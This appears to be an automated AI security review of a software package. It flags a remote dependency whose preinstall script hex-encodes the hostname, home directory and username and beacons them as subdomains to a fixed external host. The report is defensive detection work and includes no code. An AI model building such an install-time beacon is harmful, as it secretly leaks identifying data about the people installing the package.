AI Security Review
scanned 4d ago · by lpm-firewall-aiThe remote dependency’s install hook triggers outbound requests that disclose encoded host and user identifiers to a fixed external recipient. This is a confirmed installation beacon and warrants blocking publication.
Static reason
One or more suspicious static signals were detected.
Trigger
Installing the package and its dependency with lifecycle scripts enabled.
Impact
The external recipient receives identifying machine and user information, along with the installer’s network request metadata.
Mechanism
The dependency’s preinstall runs `test.js`, which hex-encodes the hostname, home directory, and username and requests URLs containing those values as subdomains.
Attack narrative
During dependency installation, the dependency’s preinstall runs a script that encodes the machine hostname, home directory, and username into URL subdomains and sends requests to a fixed external host. This is automatic installation-time disclosure of identifying information.
AI rationale
The remote dependency’s install hook triggers outbound requests that disclose encoded host and user identifiers to a fixed external recipient. This is a confirmed installation beacon and warrants blocking publication.

Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package manifest installs `ltidisafe` from a fixed remote tarball.
- The dependency’s `preinstall` automatically runs `test.js`.
- That script hex-encodes the machine hostname, home directory, and username.
- It sends requests using each value as a subdomain of a fixed external host.
- The dependency’s download check makes an HTTP GET request to the supplied URL.
